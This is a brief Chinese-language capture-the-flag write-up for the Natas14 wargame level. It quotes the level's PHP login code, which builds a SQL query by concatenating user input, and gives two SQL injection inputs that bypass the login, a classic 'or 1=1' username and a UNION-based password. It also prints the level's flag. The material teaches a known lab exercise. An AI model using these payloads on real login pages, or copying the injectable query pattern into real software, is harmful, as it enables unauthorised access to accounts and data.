Natas14：
是一个登录页面。源码如下。
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect(‘localhost‘, ‘natas14‘, ‘<censored>‘);
mysql_select_db(‘natas14‘, $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
}
Username：admin" or 1=1 # Password没做空值校验，随便输入或不输入皆可。
flag：AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
方法二：使用联合查询也可。
Username: 1 Password: 1 " union select * from users where ""="
Natas14 Writeup（sql注入、sql万能密码）
原文：https://www.cnblogs.com/zhengna/p/12390290.html